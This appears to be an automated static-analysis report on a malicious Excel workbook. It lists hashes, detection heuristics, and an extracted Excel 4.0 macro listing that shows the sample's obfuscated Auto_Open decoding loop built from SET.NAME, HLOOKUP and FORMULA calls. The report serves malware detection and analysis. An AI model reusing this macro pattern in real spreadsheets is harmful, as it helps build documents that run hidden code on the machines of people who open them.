Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 2a4fc74311f8c9c4…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:40:06 Authoring application: Microsoft Excel First seen: 2021-04-25
MD5: 729712fd83a193183cdee4d9b5fea2b9 SHA-1: b0e21911eb300c498ed73a8b7df4643faf3087a2 SHA-256: 2a4fc74311f8c9c42977196d76a50bd26f22298947dcbddf717cf1531c4a67d4
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6574 bytes
SHA-256: 203d3c03bbf5360bea60d3a7bc8e0360339913d328ef09360b4dbb9f1a75fc9d
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     17 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  CungRhbw
' 0018     25 LABEL : Cell Value, String Constant - AhDydlZWjb len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!F192 
' 0018     20 LABEL : Cell Value, String Constant - BSQnU len=0 
' 0018     24 LABEL : Cell Value, String Constant - bUtwdcMRD len=0 
' 0018     26 LABEL : Cell Value, String Constant - CXFMlmjqWLe len=0 
' 0018     23 LABEL : Cell Value, String Constant - DzRQubds len=0 
' 0018     24 LABEL : Cell Value, String Constant - EUXFXncKx len=0 
' 0018     23 LABEL : Cell Value, String Constant - fqYrBxem len=0 
' 0018     24 LABEL : Cell Value, String Constant - gaNqGeUoG len=0 
' 0018     22 LABEL : Cell Value, String Constant - IVYWheK len=0 
' 0018     25 LABEL : Cell Value, String Constant - iWrYvtuhIC len=0 
' 0018     20 LABEL : Cell Value, String Constant - jnYUE len=0 
' 0018     23 LABEL : Cell Value, String Constant - jUzzAICP len=0 
' 0018     23 LABEL : Cell Value, String Constant - OMyyfsre len=0 
' 0018     22 LABEL : Cell Value, String Constant - QhQGwxR len=0 
' 0018     20 LABEL : Cell Value, String Constant - qmUdf len=0 
' 0018     26 LABEL : Cell Value, String Constant - qOzTAAjyiiE len=0 
' 0018     27 LABEL : Cell Value, String Constant - sNNcocbDdBCz len=0 
' 0018     23 LABEL : Cell Value, String Constant - uEXNXlvC len=0 
' 0018     20 LABEL : Cell Value, String Constant - XhBjM len=0 
' 0018     23 LABEL : Cell Value, String Constant - zGTDcuDd len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  CungRhbw,F94,"SET.NAME("EUXFXncKx",VALUE("0"))",""
'  CungRhbw,F96,"SET.NAME("qmUdf",EUXFXncKx)",""
'  CungRhbw,F100,"SET.NAME("jUzzAICP",EUXFXncKx)",""
'  CungRhbw,F102,"SET.NAME("zGTDcuDd",COUNTA(CXFMlmjqWLe))",""
'  CungRhbw,F104,"SET.NAME("AhDydlZWjb",COUNTA(XhBjM))",""
'  CungRhbw,F109,[],""
'  CungRhbw,F113,"SET.NAME("BSQnU","")",""
'  CungRhbw,F118,"qmUdf",""
'  CungRhbw,F120,"SET.NAME("IVYWheK",HLOOKUP("*",CXFMlmjqWLe,qmUdf,FALSE))",""
'  CungRhbw,F124,"iWrYvtuhIC",""
'  CungRhbw,F129,"SET.NAME("QhQGwxR",EUXFXncKx)",""
'  CungRhbw,F134,[],""
'  CungRhbw,F139,"QhQGwxR",""
'  CungRhbw,F144,"sNNcocbDdBCz",""
'  CungRhbw,F148,"uEXNXlvC",""
'  CungRhbw,F152,"jnYUE",""
'  CungRhbw,F155,"SET.NAME("fqYrBxem",VALUE(HLOOKUP("*",XhBjM,jnYUE,FALSE)))",""
'  CungRhbw,F160,"qOzTAAjyiiE",""
'  CungRhbw,F162,"BSQnU",""
'  CungRhbw,F167,"jUzzAICP",""
'  CungRhbw,F171,NEXT(),""
'  CungRhbw,F173,"OMyyfsre",""
'  CungRhbw,F175,"SET.NAME("f",INT(T(FORMULA(T(BSQnU)&"",""&T(OMyyfsre)))))",""
'  CungRhbw,F180,"gaNqGeUoG",""
'  CungRhbw,F185,NEXT(),""
'  CungRhbw,F188,RETURN(),""
'  CungRhbw,F215,"SET.NAME("bUtwdcMRD",F94)",""
'  CungRhbw,F218,"CXFMlmjqWLe",""
'  CungRhbw,F221,"SET.NAME("XhBjM",R69C13)",""
'  CungRhbw,F226,"SET.NAME("gaNqGeUoG",234)",""
'  CungRhbw,F228,"SET.NAME("DzRQubds",6)",""
'  CungRhbw,F233,bUtwdcMRD(),""
'  CungRhbw,F234,HALT(),""